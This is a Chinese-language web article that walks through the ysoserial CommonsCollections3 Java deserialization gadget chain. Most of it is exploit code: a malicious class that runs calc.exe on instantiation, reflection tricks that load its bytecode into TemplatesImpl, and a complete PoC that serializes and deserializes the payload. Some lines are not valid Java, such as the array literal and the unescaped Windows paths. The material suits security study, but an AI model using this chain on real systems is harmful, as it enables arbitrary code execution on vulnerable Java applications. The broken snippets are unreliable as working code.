首頁 > 軟體

Java安全 ysoserial CommonsCollections3範例分析

2022-10-30 14:00:31

cc3利用鏈如下:

TrAXFilter(Templates templates)
    TemplatesImpl->newTransformer()
        TemplatesImpl->getTransletInstance()
            _class[_transletIndex].newInstance();

一、為構造的惡意位元組碼檔案找一個newInstance啟動入口

在TemplatesImpl類中的getTransletInstance方法,對 _class[_transletIndex]實現了newInstance()。

所以如果構造一個惡意類,然後通過類載入器載入,最終通過TemplatesImpl實現這個類的範例化,將實現這個惡意類的初始化執行。

假設將惡意程式碼寫入這個類的靜態程式碼塊中,在這個類被範例化的時候得到執行,以Runtime為例。

構造惡意類:

public class Runtimecalc {
    {
        Runtime runtime = Runtime.getRuntime();
        try {
            runtime.exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

又由於TemplatesImpl類中,getTransletInstance方法屬於私有方法,所以需要依賴另一個方法。其中該類的newTransformer()呼叫了getTransletInstance(),該方法public作用域,可以被外部呼叫執行。

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);
        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }
        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

通過反射給_class和_transletIndex賦值。但是在賦值之前,我們看到getTransletInstance方法對_name也做了判斷if (_name == null) return null;,要求不能為空才可以繼續執行後面程式碼,所以還需要通過反射給_name賦值。

另外需要注意的是由於這裡做了一個強轉(AbstractTranslet)_class[_transletIndex].newInstance();

載入的位元組碼類需要繼承AbstractTranslet

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
            if (_class == null) defineTransletClasses();
            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }
            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

那麼假設我們通過反射,直接為_class賦值為一個惡意位元組碼檔案的檔案路徑。

然後通過調newTransformer方法實現,就能得到位元組碼檔案的初始化執行。

TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field aClass = templates_cl.getDeclaredField("_class");
aClass.setAccessible(true);
aClass.set(templates,new Class[]{Runtimecalc.class});
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
templates.newTransformer();

二、將位元組碼內容直接賦值序列化

位元組碼檔案路徑是無法在目標機器得到執行的,所以需要找到其他方法將位元組碼內容直接賦值序列化

Runtimecalc.class作為類檔案賦值,是無法實現序列化的時候將檔案內容直接傳入的,這裡賦值的只是檔案路徑。

所以序列化和反序列化是不成功的。

我們知道ClassLoader在載入的類的時候,最終是通過defineClass載入位元組碼檔案內容。

利用這種方式,直接的賦值傳參內容是位元組碼,就可以達到惡意類載入的序列化和反序列化。

Templateslmpl類中getTransletInstance方法中,在_class[_transletIndex].newInstance()執行前,還有一段如下程式碼

if (_class == null) defineTransletClasses()

假設我們之前不對_class賦值,檢視defineTransletClasses做了什麼。

private void defineTransletClasses()
        throws TransformerConfigurationException {
    	//需要給_bytecodes賦值
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
    	TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });
        try {
            final int classCount = _bytecodes.length;
            //為_class賦值,長度為_bytecodes的長度
            _class = new Class[classCount];
            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }
            for (int i = 0; i < classCount; i++) {
                //_bytecodes[0]賦值為位元組碼內容賦值給_class[0]
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();
                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
        }
    }
private byte[][] _bytecodes = null;

_bytecodes是一個byte二維陣列,我們將byte[]型別的位元組碼賦值給_bytecodes[0]

這裡就直接賦值位元組碼內容了

byte[] code = Files.readAllBytes(Paths.get("D:\workspace\javaee\cc1\target\classes\com\cc3\Runtimecalc.class"));

這樣在defineTransletClasses被呼叫的時候

執行_class[i] = loader.defineClass(_bytecodes[i]);

_class[0]將會被賦值為loader.defineClass(code)

由於_tfactory需要呼叫,所以給_tfactory也賦值

最終實現程式碼如下:

TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
//註釋不給_class賦值,滿足_class == null,defineTransletClasses得到呼叫
//Field aClass = templates_cl.getDeclaredField("_class");
//aClass.setAccessible(true);
//aClass.set(templates,new Class[]{Runtimecalc.class});
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
//載入位元組碼
byte[] code = Files.readAllBytes(Paths.get("D:\workspace\javaee\cc1\target\classes\com\cc3\Runtimecalc.class"));
byte[][] codes = [code];
//給_bytecodes賦值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要順利執行,_tfactory得賦值,因為defineTransletClasses中呼叫了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl型別的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
templates.newTransformer();

三、讓newTransformer得到執行

TrAXFilter類的構造方法會呼叫newTransformer

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}
TrAXFilter trAXFilter = new TrAXFilter(templates);

但是TrAXFilter並不實現Serializable介面,無法序列化,需要通過反射呼叫

在cc1中反射執行最終是通過InvokerTransformer的transform來實現

這裡用了InstantiateTransformer的transform

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

剩下的就和cc1一樣了

public class CC3Test3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");
        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);
        byte[] code = Files.readAllBytes(Paths.get("D:\workspace\javaee\cc1\target\classes\com\cc3\Runtimecalc.class"));
        byte[][] codes = [code];
        //給_bytecodes賦值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);
        //要順利執行,_tfactory得賦值,因為defineTransletClasses中呼叫了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl型別的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformerslist = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer,
        };
        ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformerslist);
        HashMap hashMap1 = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformerruntime);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\cc3.ser"));
        objectOutputStream.writeObject(handle);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\cc3.ser"));
        objectInputStream.readObject();
    }
}

以上就是Java安全 ysoserial CommonsCollections3範例分析的詳細內容,更多關於java安全ysoserial CommonsCollections的資料請關注it145.com其它相關文章!


IT145.com E-mail:sddin#qq.com